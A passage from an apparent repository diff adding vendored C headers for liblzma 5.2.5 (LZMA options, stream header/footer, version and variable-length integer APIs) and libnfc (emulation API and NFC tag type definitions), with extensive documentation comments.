* encoder won't cause problems for old decoders.
*
* Because extremely small dictionaries sizes would have unneeded
* overhead in the decoder, the minimum dictionary size is 4096 bytes.
*
* \note When decoding, too big dictionary does no other harm
* than wasting memory.
*/
uint32_t dict_size;
# define LZMA_DICT_SIZE_MIN UINT32_C(4096)
# define LZMA_DICT_SIZE_DEFAULT (UINT32_C(1) << 23)
/**
* \brief Pointer to an initial dictionary
*
* It is possible to initialize the LZ77 history window using
* a preset dictionary. It is useful when compressing many
* similar, relatively small chunks of data independently from
* each other. The preset dictionary should contain typical
* strings that occur in the files being compressed. The most
* probable strings should be near the end of the preset dictionary.
*
* This feature should be used only in special situations. For
* now, it works correctly only with raw encoding and decoding.
* Currently none of the container formats supported by
* liblzma allow preset dictionary when decoding, thus if
* you create a .xz or .lzma file with preset dictionary, it
* cannot be decoded with the regular decoder functions. In the
* future, the .xz format will likely get support for preset
* dictionary though.
*/
const uint8_t *preset_dict;
/**
* \brief Size of the preset dictionary
*
* Specifies the size of the preset dictionary. If the size is
* bigger than dict_size, only the last dict_size bytes are
* processed.
*
* This variable is read only when preset_dict is not NULL.
* If preset_dict is not NULL but preset_dict_size is zero,
* no preset dictionary is used (identical to only setting
* preset_dict to NULL).
*/
uint32_t preset_dict_size;
/**
* \brief Number of literal context bits
*
* How many of the highest bits of the previous uncompressed
* eight-bit byte (also known as `literal') are taken into
* account when predicting the bits of the next literal.
*
* E.g. in typical English text, an upper-case letter is
* often followed by a lower-case letter, and a lower-case
* letter is usually followed by another lower-case letter.
* In the US-ASCII character set, the highest three bits are 010
* for upper-case letters and 011 for lower-case letters.
* When lc is at least 3, the literal coding can take advantage of
* this property in the uncompressed data.
*
* There is a limit that applies to literal context bits and literal
* position bits together: lc + lp <= 4. Without this limit the
* decoding could become very slow, which could have security related
* results in some cases like email servers doing virus scanning.
* This limit also simplifies the internal implementation in liblzma.
*
* There may be LZMA1 streams that have lc + lp > 4 (maximum possible
* lc would be 8). It is not possible to decode such streams with
* liblzma.
*/
uint32_t lc;
# define LZMA_LCLP_MIN 0
# define LZMA_LCLP_MAX 4
# define LZMA_LC_DEFAULT 3
/**
* \brief Number of literal position bits
*
* lp affects what kind of alignment in the uncompressed data is
* assumed when encoding literals. A literal is a single 8-bit byte.
* See pb below for more information about alignment.
*/
uint32_t lp;
# define LZMA_LP_DEFAULT 0
/**
* \brief Number of position bits
*
* pb affects what kind of alignment in the uncompressed data is
* assumed in general. The default means four-byte alignment
* (2^ pb =2^2=4), which is often a good choice when there's
* no better guess.
*
* When the alignment is known, setting pb accordingly may reduce
* the file size a little. E.g. with text files having one-byte
* alignment (US-ASCII, ISO-8859-*, UTF-8), setting pb=0 can
* improve compression slightly. For UTF-16 text, pb=1 is a good
* choice. If the alignment is an odd number like 3 bytes, pb=0
* might be the best choice.
*
* Even though the assumed alignment can be adjusted with pb and
* lp, LZMA1 and LZMA2 still slightly favor 16-byte alignment.
* It might be worth taking into account when designing file formats
* that are likely to be often compressed with LZMA1 or LZMA2.
*/
uint32_t pb;
# define LZMA_PB_MIN 0
# define LZMA_PB_MAX 4
# define LZMA_PB_DEFAULT 2
/** Compression mode */
lzma_mode mode;
/**
* \brief Nice length of a match
*
* This determines how many bytes the encoder compares from the match
* candidates when looking for the best match. Once a match of at
* least nice_len bytes long is found, the encoder stops looking for
* better candidates and encodes the match. (Naturally, if the found
* match is actually longer than nice_len, the actual length is
* encoded; it's not truncated to nice_len.)
*
* Bigger values usually increase the compression ratio and
* compression time. For most files, 32 to 128 is a good value,
* which gives very good compression ratio at good speed.
*
* The exact minimum value depends on the match finder. The maximum
* is 273, which is the maximum length of a match that LZMA1 and
* LZMA2 can encode.
*/
uint32_t nice_len;
/** Match finder ID */
lzma_match_finder mf;
/**
* \brief Maximum search depth in the match finder
*
* For every input byte, match finder searches through the hash chain
* or binary tree in a loop, each iteration going one step deeper in
* the chain or tree. The searching stops if
* - a match of at least nice_len bytes long is found;
* - all match candidates from the hash chain or binary tree have
* been checked; or
* - maximum search depth is reached.
*
* Maximum search depth is needed to prevent the match finder from
* wasting too much time in case there are lots of short match
* candidates. On the other hand, stopping the search before all
* candidates have been checked can reduce compression ratio.
*
* Setting depth to zero tells liblzma to use an automatic default
* value, that depends on the selected match finder and nice_len.
* The default is in the range [4, 200] or so (it may vary between
* liblzma versions).
*
* Using a bigger depth value than the default can increase
* compression ratio in some cases. There is no strict maximum value,
* but high values (thousands or millions) should be used with care:
* the encoder could remain fast enough with typical input, but
* malicious input could cause the match finder to slow down
* dramatically, possibly creating a denial of service attack.
*/
uint32_t depth;
/*
* Reserved space to allow possible future extensions without
* breaking the ABI. You should not touch these, because the names
* of these variables may change. These are and will never be used
* with the currently supported options, so it is safe to leave these
* uninitialized.
*/
uint32_t reserved_int1;
uint32_t reserved_int2;
uint32_t reserved_int3;
uint32_t reserved_int4;
uint32_t reserved_int5;
uint32_t reserved_int6;
uint32_t reserved_int7;
uint32_t reserved_int8;
lzma_reserved_enum reserved_enum1;
lzma_reserved_enum reserved_enum2;
lzma_reserved_enum reserved_enum3;
lzma_reserved_enum reserved_enum4;
void *reserved_ptr1;
void *reserved_ptr2;
} lzma_options_lzma;
/**
* \brief Set a compression preset to lzma_options_lzma structure
*
* 0 is the fastest and 9 is the slowest. These match the switches -0 .. -9
* of the xz command line tool. In addition, it is possible to bitwise-or
* flags to the preset. Currently only LZMA_PRESET_EXTREME is supported.
* The flags are defined in container.h, because the flags are used also
* with lzma_easy_encoder().
*
* The preset values are subject to changes between liblzma versions.
*
* This function is available only if LZMA1 or LZMA2 encoder has been enabled
* when building liblzma.
*
* \return On success, false is returned. If the preset is not
* supported, true is returned.
*/
extern LZMA_API(lzma_bool) lzma_lzma_preset(
lzma_options_lzma *options, uint32_t preset) lzma_nothrow;

View File

@ -0,0 +1,223 @@
/**
* \file lzma/stream_flags.h
* \brief .xz Stream Header and Stream Footer encoder and decoder
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief Size of Stream Header and Stream Footer
*
* Stream Header and Stream Footer have the same size and they are not
* going to change even if a newer version of the .xz file format is
* developed in future.
*/
#define LZMA_STREAM_HEADER_SIZE 12
/**
* \brief Options for encoding/decoding Stream Header and Stream Footer
*/
typedef struct {
/**
* \brief Stream Flags format version
*
* To prevent API and ABI breakages if new features are needed in
* Stream Header or Stream Footer, a version number is used to
* indicate which fields in this structure are in use. For now,
* version must always be zero. With non-zero version, the
* lzma_stream_header_encode() and lzma_stream_footer_encode()
* will return LZMA_OPTIONS_ERROR.
*
* lzma_stream_header_decode() and lzma_stream_footer_decode()
* will always set this to the lowest value that supports all the
* features indicated by the Stream Flags field. The application
* must check that the version number set by the decoding functions
* is supported by the application. Otherwise it is possible that
* the application will decode the Stream incorrectly.
*/
uint32_t version;
/**
* \brief Backward Size
*
* Backward Size must be a multiple of four bytes. In this Stream
* format version, Backward Size is the size of the Index field.
*
* Backward Size isn't actually part of the Stream Flags field, but
* it is convenient to include in this structure anyway. Backward
* Size is present only in the Stream Footer. There is no need to
* initialize backward_size when encoding Stream Header.
*
* lzma_stream_header_decode() always sets backward_size to
* LZMA_VLI_UNKNOWN so that it is convenient to use
* lzma_stream_flags_compare() when both Stream Header and Stream
* Footer have been decoded.
*/
lzma_vli backward_size;
# define LZMA_BACKWARD_SIZE_MIN 4
# define LZMA_BACKWARD_SIZE_MAX (LZMA_VLI_C(1) << 34)
/**
* \brief Check ID
*
* This indicates the type of the integrity check calculated from
* uncompressed data.
*/
lzma_check check;
/*
* Reserved space to allow possible future extensions without
* breaking the ABI. You should not touch these, because the
* names of these variables may change.
*
* (We will never be able to use all of these since Stream Flags
* is just two bytes plus Backward Size of four bytes. But it's
* nice to have the proper types when they are needed.)
*/
lzma_reserved_enum reserved_enum1;
lzma_reserved_enum reserved_enum2;
lzma_reserved_enum reserved_enum3;
lzma_reserved_enum reserved_enum4;
lzma_bool reserved_bool1;
lzma_bool reserved_bool2;
lzma_bool reserved_bool3;
lzma_bool reserved_bool4;
lzma_bool reserved_bool5;
lzma_bool reserved_bool6;
lzma_bool reserved_bool7;
lzma_bool reserved_bool8;
uint32_t reserved_int1;
uint32_t reserved_int2;
} lzma_stream_flags;
/**
* \brief Encode Stream Header
*
* \param options Stream Header options to be encoded.
* options->backward_size is ignored and doesn't
* need to be initialized.
* \param out Beginning of the output buffer of
* LZMA_STREAM_HEADER_SIZE bytes.
*
* \return - LZMA_OK: Encoding was successful.
* - LZMA_OPTIONS_ERROR: options->version is not supported by
* this liblzma version.
* - LZMA_PROG_ERROR: Invalid options.
*/
extern LZMA_API(lzma_ret) lzma_stream_header_encode(
const lzma_stream_flags *options, uint8_t *out)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Encode Stream Footer
*
* \param options Stream Footer options to be encoded.
* \param out Beginning of the output buffer of
* LZMA_STREAM_HEADER_SIZE bytes.
*
* \return - LZMA_OK: Encoding was successful.
* - LZMA_OPTIONS_ERROR: options->version is not supported by
* this liblzma version.
* - LZMA_PROG_ERROR: Invalid options.
*/
extern LZMA_API(lzma_ret) lzma_stream_footer_encode(
const lzma_stream_flags *options, uint8_t *out)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Decode Stream Header
*
* \param options Target for the decoded Stream Header options.
* \param in Beginning of the input buffer of
* LZMA_STREAM_HEADER_SIZE bytes.
*
* options->backward_size is always set to LZMA_VLI_UNKNOWN. This is to
* help comparing Stream Flags from Stream Header and Stream Footer with
* lzma_stream_flags_compare().
*
* \return - LZMA_OK: Decoding was successful.
* - LZMA_FORMAT_ERROR: Magic bytes don't match, thus the given
* buffer cannot be Stream Header.
* - LZMA_DATA_ERROR: CRC32 doesn't match, thus the header
* is corrupt.
* - LZMA_OPTIONS_ERROR: Unsupported options are present
* in the header.
*
* \note When decoding .xz files that contain multiple Streams, it may
* make sense to print "file format not recognized" only if
* decoding of the Stream Header of the _first_ Stream gives
* LZMA_FORMAT_ERROR. If non-first Stream Header gives
* LZMA_FORMAT_ERROR, the message used for LZMA_DATA_ERROR is
* probably more appropriate.
*
* For example, Stream decoder in liblzma uses LZMA_DATA_ERROR if
* LZMA_FORMAT_ERROR is returned by lzma_stream_header_decode()
* when decoding non-first Stream.
*/
extern LZMA_API(lzma_ret) lzma_stream_header_decode(
lzma_stream_flags *options, const uint8_t *in)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Decode Stream Footer
*
* \param options Target for the decoded Stream Header options.
* \param in Beginning of the input buffer of
* LZMA_STREAM_HEADER_SIZE bytes.
*
* \return - LZMA_OK: Decoding was successful.
* - LZMA_FORMAT_ERROR: Magic bytes don't match, thus the given
* buffer cannot be Stream Footer.
* - LZMA_DATA_ERROR: CRC32 doesn't match, thus the Stream Footer
* is corrupt.
* - LZMA_OPTIONS_ERROR: Unsupported options are present
* in Stream Footer.
*
* \note If Stream Header was already decoded successfully, but
* decoding Stream Footer returns LZMA_FORMAT_ERROR, the
* application should probably report some other error message
* than "file format not recognized", since the file more likely
* is corrupt (possibly truncated). Stream decoder in liblzma
* uses LZMA_DATA_ERROR in this situation.
*/
extern LZMA_API(lzma_ret) lzma_stream_footer_decode(
lzma_stream_flags *options, const uint8_t *in)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Compare two lzma_stream_flags structures
*
* backward_size values are compared only if both are not
* LZMA_VLI_UNKNOWN.
*
* \return - LZMA_OK: Both are equal. If either had backward_size set
* to LZMA_VLI_UNKNOWN, backward_size values were not
* compared or validated.
* - LZMA_DATA_ERROR: The structures differ.
* - LZMA_OPTIONS_ERROR: version in either structure is greater
* than the maximum supported version (currently zero).
* - LZMA_PROG_ERROR: Invalid value, e.g. invalid check or
* backward_size.
*/
extern LZMA_API(lzma_ret) lzma_stream_flags_compare(
const lzma_stream_flags *a, const lzma_stream_flags *b)
lzma_nothrow lzma_attr_pure;

121
src/include/lzma/version.h Normal file
View File

@ -0,0 +1,121 @@
/**
* \file lzma/version.h
* \brief Version number
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/*
* Version number split into components
*/
#define LZMA_VERSION_MAJOR 5
#define LZMA_VERSION_MINOR 2
#define LZMA_VERSION_PATCH 5
#define LZMA_VERSION_STABILITY LZMA_VERSION_STABILITY_STABLE
#ifndef LZMA_VERSION_COMMIT
# define LZMA_VERSION_COMMIT ""
#endif
/*
* Map symbolic stability levels to integers.
*/
#define LZMA_VERSION_STABILITY_ALPHA 0
#define LZMA_VERSION_STABILITY_BETA 1
#define LZMA_VERSION_STABILITY_STABLE 2
/**
* \brief Compile-time version number
*
* The version number is of format xyyyzzzs where
* - x = major
* - yyy = minor
* - zzz = revision
* - s indicates stability: 0 = alpha, 1 = beta, 2 = stable
*
* The same xyyyzzz triplet is never reused with different stability levels.
* For example, if 5.1.0alpha has been released, there will never be 5.1.0beta
* or 5.1.0 stable.
*
* \note The version number of liblzma has nothing to with
* the version number of Igor Pavlov's LZMA SDK.
*/
#define LZMA_VERSION (LZMA_VERSION_MAJOR * UINT32_C(10000000) \
+ LZMA_VERSION_MINOR * UINT32_C(10000) \
+ LZMA_VERSION_PATCH * UINT32_C(10) \
+ LZMA_VERSION_STABILITY)
/*
* Macros to construct the compile-time version string
*/
#if LZMA_VERSION_STABILITY == LZMA_VERSION_STABILITY_ALPHA
# define LZMA_VERSION_STABILITY_STRING "alpha"
#elif LZMA_VERSION_STABILITY == LZMA_VERSION_STABILITY_BETA
# define LZMA_VERSION_STABILITY_STRING "beta"
#elif LZMA_VERSION_STABILITY == LZMA_VERSION_STABILITY_STABLE
# define LZMA_VERSION_STABILITY_STRING ""
#else
# error Incorrect LZMA_VERSION_STABILITY
#endif
#define LZMA_VERSION_STRING_C_(major, minor, patch, stability, commit) \
#major "." #minor "." #patch stability commit
#define LZMA_VERSION_STRING_C(major, minor, patch, stability, commit) \
LZMA_VERSION_STRING_C_(major, minor, patch, stability, commit)
/**
* \brief Compile-time version as a string
*
* This can be for example "4.999.5alpha", "4.999.8beta", or "5.0.0" (stable
* versions don't have any "stable" suffix). In future, a snapshot built
* from source code repository may include an additional suffix, for example
* "4.999.8beta-21-g1d92". The commit ID won't be available in numeric form
* in LZMA_VERSION macro.
*/
#define LZMA_VERSION_STRING LZMA_VERSION_STRING_C( \
LZMA_VERSION_MAJOR, LZMA_VERSION_MINOR, \
LZMA_VERSION_PATCH, LZMA_VERSION_STABILITY_STRING, \
LZMA_VERSION_COMMIT)
/* #ifndef is needed for use with windres (MinGW or Cygwin). */
#ifndef LZMA_H_INTERNAL_RC
/**
* \brief Run-time version number as an integer
*
* Return the value of LZMA_VERSION macro at the compile time of liblzma.
* This allows the application to compare if it was built against the same,
* older, or newer version of liblzma that is currently running.
*/
extern LZMA_API(uint32_t) lzma_version_number(void)
lzma_nothrow lzma_attr_const;
/**
* \brief Run-time version as a string
*
* This function may be useful if you want to display which version of
* liblzma your application is currently using.
*/
extern LZMA_API(const char *) lzma_version_string(void)
lzma_nothrow lzma_attr_const;
#endif

166
src/include/lzma/vli.h Normal file
View File

@ -0,0 +1,166 @@
/**
* \file lzma/vli.h
* \brief Variable-length integer handling
*
* In the .xz format, most integers are encoded in a variable-length
* representation, which is sometimes called little endian base-128 encoding.
* This saves space when smaller values are more likely than bigger values.
*
* The encoding scheme encodes seven bits to every byte, using minimum
* number of bytes required to represent the given value. Encodings that use
* non-minimum number of bytes are invalid, thus every integer has exactly
* one encoded representation. The maximum number of bits in a VLI is 63,
* thus the vli argument must be less than or equal to UINT64_MAX / 2. You
* should use LZMA_VLI_MAX for clarity.
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief Maximum supported value of a variable-length integer
*/
#define LZMA_VLI_MAX (UINT64_MAX / 2)
/**
* \brief VLI value to denote that the value is unknown
*/
#define LZMA_VLI_UNKNOWN UINT64_MAX
/**
* \brief Maximum supported encoded length of variable length integers
*/
#define LZMA_VLI_BYTES_MAX 9
/**
* \brief VLI constant suffix
*/
#define LZMA_VLI_C(n) UINT64_C(n)
/**
* \brief Variable-length integer type
*
* Valid VLI values are in the range [0, LZMA_VLI_MAX]. Unknown value is
* indicated with LZMA_VLI_UNKNOWN, which is the maximum value of the
* underlying integer type.
*
* lzma_vli will be uint64_t for the foreseeable future. If a bigger size
* is needed in the future, it is guaranteed that 2 * LZMA_VLI_MAX will
* not overflow lzma_vli. This simplifies integer overflow detection.
*/
typedef uint64_t lzma_vli;
/**
* \brief Validate a variable-length integer
*
* This is useful to test that application has given acceptable values
* for example in the uncompressed_size and compressed_size variables.
*
* \return True if the integer is representable as VLI or if it
* indicates unknown value.
*/
#define lzma_vli_is_valid(vli) \
((vli) <= LZMA_VLI_MAX || (vli) == LZMA_VLI_UNKNOWN)
/**
* \brief Encode a variable-length integer
*
* This function has two modes: single-call and multi-call. Single-call mode
* encodes the whole integer at once; it is an error if the output buffer is
* too small. Multi-call mode saves the position in *vli_pos, and thus it is
* possible to continue encoding if the buffer becomes full before the whole
* integer has been encoded.
*
* \param vli Integer to be encoded
* \param vli_pos How many VLI-encoded bytes have already been written
* out. When starting to encode a new integer in
* multi-call mode, *vli_pos must be set to zero.
* To use single-call encoding, set vli_pos to NULL.
* \param out Beginning of the output buffer
* \param out_pos The next byte will be written to out[*out_pos].
* \param out_size Size of the out buffer; the first byte into
* which no data is written to is out[out_size].
*
* \return Slightly different return values are used in multi-call and
* single-call modes.
*
* Single-call (vli_pos == NULL):
* - LZMA_OK: Integer successfully encoded.
* - LZMA_PROG_ERROR: Arguments are not sane. This can be due
* to too little output space; single-call mode doesn't use
* LZMA_BUF_ERROR, since the application should have checked
* the encoded size with lzma_vli_size().
*
* Multi-call (vli_pos != NULL):
* - LZMA_OK: So far all OK, but the integer is not
* completely written out yet.
* - LZMA_STREAM_END: Integer successfully encoded.
* - LZMA_BUF_ERROR: No output space was provided.
* - LZMA_PROG_ERROR: Arguments are not sane.
*/
extern LZMA_API(lzma_ret) lzma_vli_encode(lzma_vli vli, size_t *vli_pos,
uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow;
/**
* \brief Decode a variable-length integer
*
* Like lzma_vli_encode(), this function has single-call and multi-call modes.
*
* \param vli Pointer to decoded integer. The decoder will
* initialize it to zero when *vli_pos == 0, so
* application isn't required to initialize *vli.
* \param vli_pos How many bytes have already been decoded. When
* starting to decode a new integer in multi-call
* mode, *vli_pos must be initialized to zero. To
* use single-call decoding, set vli_pos to NULL.
* \param in Beginning of the input buffer
* \param in_pos The next byte will be read from in[*in_pos].
* \param in_size Size of the input buffer; the first byte that
* won't be read is in[in_size].
*
* \return Slightly different return values are used in multi-call and
* single-call modes.
*
* Single-call (vli_pos == NULL):
* - LZMA_OK: Integer successfully decoded.
* - LZMA_DATA_ERROR: Integer is corrupt. This includes hitting
* the end of the input buffer before the whole integer was
* decoded; providing no input at all will use LZMA_DATA_ERROR.
* - LZMA_PROG_ERROR: Arguments are not sane.
*
* Multi-call (vli_pos != NULL):
* - LZMA_OK: So far all OK, but the integer is not
* completely decoded yet.
* - LZMA_STREAM_END: Integer successfully decoded.
* - LZMA_DATA_ERROR: Integer is corrupt.
* - LZMA_BUF_ERROR: No input was provided.
* - LZMA_PROG_ERROR: Arguments are not sane.
*/
extern LZMA_API(lzma_ret) lzma_vli_decode(lzma_vli *vli, size_t *vli_pos,
const uint8_t *in, size_t *in_pos, size_t in_size)
lzma_nothrow;
/**
* \brief Get the number of bytes required to encode a VLI
*
* \return Number of bytes on success (1-9). If vli isn't valid,
* zero is returned.
*/
extern LZMA_API(uint32_t) lzma_vli_size(lzma_vli vli)
lzma_nothrow lzma_attr_pure;

View File

@ -0,0 +1,71 @@
/*-
* Free/Libre Near Field Communication (NFC) library
*
* Libnfc historical contributors:
* Copyright (C) 2009 Roel Verdult
* Copyright (C) 2009-2013 Romuald Conty
* Copyright (C) 2010-2012 Romain Tartière
* Copyright (C) 2010-2013 Philippe Teuwen
* Copyright (C) 2012-2013 Ludovic Rousseau
* See AUTHORS file for a more comprehensive list of contributors.
* Additional contributors of this file:
*
* This program is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published by the
* Free Software Foundation, either version 3 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
/**
* @file nfc-emulation.h
* @brief Provide a small API to ease emulation in libnfc
*/
#ifndef __NFC_EMULATION_H__
#define __NFC_EMULATION_H__
#include <sys/types.h>
#include <nfc/nfc.h>
#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */
struct nfc_emulator;
struct nfc_emulation_state_machine;
/**
* @struct nfc_emulator
* @brief NFC emulator structure
*/
struct nfc_emulator {
nfc_target *target;
struct nfc_emulation_state_machine *state_machine;
void *user_data;
};
/**
* @struct nfc_emulation_state_machine
* @brief NFC emulation state machine structure
*/
struct nfc_emulation_state_machine {
int (*io)(struct nfc_emulator *emulator, const uint8_t *data_in, const size_t data_in_len, uint8_t *data_out, const size_t data_out_len);
void *data;
};
NFC_EXPORT int nfc_emulate_target(nfc_device *pnd, struct nfc_emulator *emulator, const int timeout);
#ifdef __cplusplus
}
#endif /* __cplusplus */
#endif /* __NFC_EMULATION_H__ */

359
src/include/nfc/nfc-types.h Normal file
View File

@ -0,0 +1,359 @@
/*-
* Free/Libre Near Field Communication (NFC) library
*
* Libnfc historical contributors:
* Copyright (C) 2009 Roel Verdult
* Copyright (C) 2009-2013 Romuald Conty
* Copyright (C) 2010-2012 Romain Tartière
* Copyright (C) 2010-2013 Philippe Teuwen
* Copyright (C) 2012-2013 Ludovic Rousseau
* See AUTHORS file for a more comprehensive list of contributors.
* Additional contributors of this file:
* Copyright (C) 2020 Adam Laurie
*
* This program is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published by the
* Free Software Foundation, either version 3 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
/**
* @file nfc-types.h
* @brief Define NFC types
*/
#ifndef __NFC_TYPES_H__
#define __NFC_TYPES_H__
#include <stddef.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#ifndef NFC_BUFSIZE_CONNSTRING
#define NFC_BUFSIZE_CONNSTRING 1024
#endif
/**
* NFC context
*/
typedef struct nfc_context nfc_context;
/**
* NFC device
*/
typedef struct nfc_device nfc_device;
/**
* NFC device driver
*/
typedef struct nfc_driver nfc_driver;
/**
* Connection string
*/
typedef char nfc_connstring[NFC_BUFSIZE_CONNSTRING];
/**
* Properties
*/
typedef enum {
/**
* Default command processing timeout
* Property value's (duration) unit is ms and 0 means no timeout (infinite).
* Default value is set by driver layer
*/
NP_TIMEOUT_COMMAND,
/**
* Timeout between ATR_REQ and ATR_RES
* When the device is in initiator mode, a target is considered as mute if no
* valid ATR_RES is received within this timeout value.
* Default value for this property is 103 ms on PN53x based devices.
*/
NP_TIMEOUT_ATR,
/**
* Timeout value to give up reception from the target in case of no answer.
* Default value for this property is 52 ms).
*/
NP_TIMEOUT_COM,
/** Let the PN53X chip handle the CRC bytes. This means that the chip appends
* the CRC bytes to the frames that are transmitted. It will parse the last
* bytes from received frames as incoming CRC bytes. They will be verified
* against the used modulation and protocol. If an frame is expected with
* incorrect CRC bytes this option should be disabled. Example frames where
* this is useful are the ATQA and UID+BCC that are transmitted without CRC
* bytes during the anti-collision phase of the ISO14443-A protocol. */
NP_HANDLE_CRC,
/** Parity bits in the network layer of ISO14443-A are by default generated and
* validated in the PN53X chip. This is a very convenient feature. On certain
* times though it is useful to get full control of the transmitted data. The
* proprietary MIFARE Classic protocol uses for example custom (encrypted)
* parity bits. For interoperability it is required to be completely
* compatible, including the arbitrary parity bits. When this option is
* disabled, the functions to communicating bits should be used. */
NP_HANDLE_PARITY,
/** This option can be used to enable or disable the electronic field of the
* NFC device. */
NP_ACTIVATE_FIELD,
/** The internal CRYPTO1 co-processor can be used to transmit messages
* encrypted. This option is automatically activated after a successful MIFARE
* Classic authentication. */
NP_ACTIVATE_CRYPTO1,
/** The default configuration defines that the PN53X chip will try indefinitely
* to invite a tag in the field to respond. This could be desired when it is
* certain a tag will enter the field. On the other hand, when this is
* uncertain, it will block the application. This option could best be compared
* to the (NON)BLOCKING option used by (socket)network programming. */
NP_INFINITE_SELECT,
/** If this option is enabled, frames that carry less than 4 bits are allowed.
* According to the standards these frames should normally be handles as
* invalid frames. */
NP_ACCEPT_INVALID_FRAMES,
/** If the NFC device should only listen to frames, it could be useful to let
* it gather multiple frames in a sequence. They will be stored in the internal
* FIFO of the PN53X chip. This could be retrieved by using the receive data
* functions. Note that if the chip runs out of bytes (FIFO = 64 bytes long),
* it will overwrite the first received frames, so quick retrieving of the
* received data is desirable. */
NP_ACCEPT_MULTIPLE_FRAMES,
/** This option can be used to enable or disable the auto-switching mode to
* ISO14443-4 is device is compliant.
* In initiator mode, it means that NFC chip will send RATS automatically when
* select and it will automatically poll for ISO14443-4 card when ISO14443A is
* requested.
* In target mode, with a NFC chip compliant (ie. PN532), the chip will
* emulate a 14443-4 PICC using hardware capability */
NP_AUTO_ISO14443_4,
/** Use automatic frames encapsulation and chaining. */
NP_EASY_FRAMING,
/** Force the chip to switch in ISO14443-A */
NP_FORCE_ISO14443_A,
/** Force the chip to switch in ISO14443-B */
NP_FORCE_ISO14443_B,
/** Force the chip to run at 106 kbps */
NP_FORCE_SPEED_106,
} nfc_property;
// Compiler directive, set struct alignment to 1 uint8_t for compatibility
# pragma pack(1)
/**
* @enum nfc_dep_mode
* @brief NFC D.E.P. (Data Exchange Protocol) active/passive mode
*/
typedef enum {
NDM_UNDEFINED = 0,
NDM_PASSIVE,
NDM_ACTIVE,
} nfc_dep_mode;
/**
* @struct nfc_dep_info
* @brief NFC target information in D.E.P. (Data Exchange Protocol) see ISO/IEC 18092 (NFCIP-1)
*/
typedef struct {
/** NFCID3 */
uint8_t abtNFCID3[10];
/** DID */
uint8_t btDID;
/** Supported send-bit rate */
uint8_t btBS;
/** Supported receive-bit rate */
uint8_t btBR;
/** Timeout value */
uint8_t btTO;
/** PP Parameters */
uint8_t btPP;
/** General Bytes */
uint8_t abtGB[48];
size_t szGB;
/** DEP mode */
nfc_dep_mode ndm;
} nfc_dep_info;
/**
* @struct nfc_iso14443a_info
* @brief NFC ISO14443A tag (MIFARE) information
*/
typedef struct {
uint8_t abtAtqa[2];
uint8_t btSak;
size_t szUidLen;
uint8_t abtUid[10];
size_t szAtsLen;
uint8_t abtAts[254]; // Maximal theoretical ATS is FSD-2, FSD=256 for FSDI=8 in RATS
} nfc_iso14443a_info;
/**
* @struct nfc_felica_info
* @brief NFC FeLiCa tag information
*/
typedef struct {
size_t szLen;
uint8_t btResCode;
uint8_t abtId[8];
uint8_t abtPad[8];
uint8_t abtSysCode[2];
} nfc_felica_info;
/**
* @struct nfc_iso14443b_info
* @brief NFC ISO14443B tag information
*/
typedef struct {
/** abtPupi store PUPI contained in ATQB (Answer To reQuest of type B) (see ISO14443-3) */
uint8_t abtPupi[4];
/** abtApplicationData store Application Data contained in ATQB (see ISO14443-3) */
uint8_t abtApplicationData[4];
/** abtProtocolInfo store Protocol Info contained in ATQB (see ISO14443-3) */
uint8_t abtProtocolInfo[3];
/** ui8CardIdentifier store CID (Card Identifier) attributted by PCD to the PICC */
uint8_t ui8CardIdentifier;
} nfc_iso14443b_info;
/**
* @struct nfc_iso14443bi_info
* @brief NFC ISO14443B' tag information
*/
typedef struct {
/** DIV: 4 LSBytes of tag serial number */
uint8_t abtDIV[4];
/** Software version & type of REPGEN */
uint8_t btVerLog;
/** Config Byte, present if long REPGEN */
uint8_t btConfig;
/** ATR, if any */
size_t szAtrLen;
uint8_t abtAtr[33];
} nfc_iso14443bi_info;
/**
* @struct nfc_iso14443biclass_info
* @brief NFC ISO14443BiClass tag information
*/
typedef struct {
uint8_t abtUID[8];
} nfc_iso14443biclass_info;
/**
* @struct nfc_iso14443b2sr_info
* @brief NFC ISO14443-2B ST SRx tag information
*/
typedef struct {
uint8_t abtUID[8];
} nfc_iso14443b2sr_info;
/**
* @struct nfc_iso14443b2ct_info
* @brief NFC ISO14443-2B ASK CTx tag information
*/
typedef struct {
uint8_t abtUID[4];
uint8_t btProdCode;
uint8_t btFabCode;
} nfc_iso14443b2ct_info;
/**
* @struct nfc_jewel_info
* @brief NFC Jewel tag information
*/
typedef struct {
uint8_t btSensRes[2];
uint8_t btId[4];
} nfc_jewel_info;
/**
* @struct nfc_barcode_info
* @brief Thinfilm NFC Barcode information
*/
typedef struct {
size_t szDataLen;
uint8_t abtData[32];
} nfc_barcode_info;
/**
* @union nfc_target_info
* @brief Union between all kind of tags information structures.
*/
typedef union {
nfc_iso14443a_info nai;
nfc_felica_info nfi;
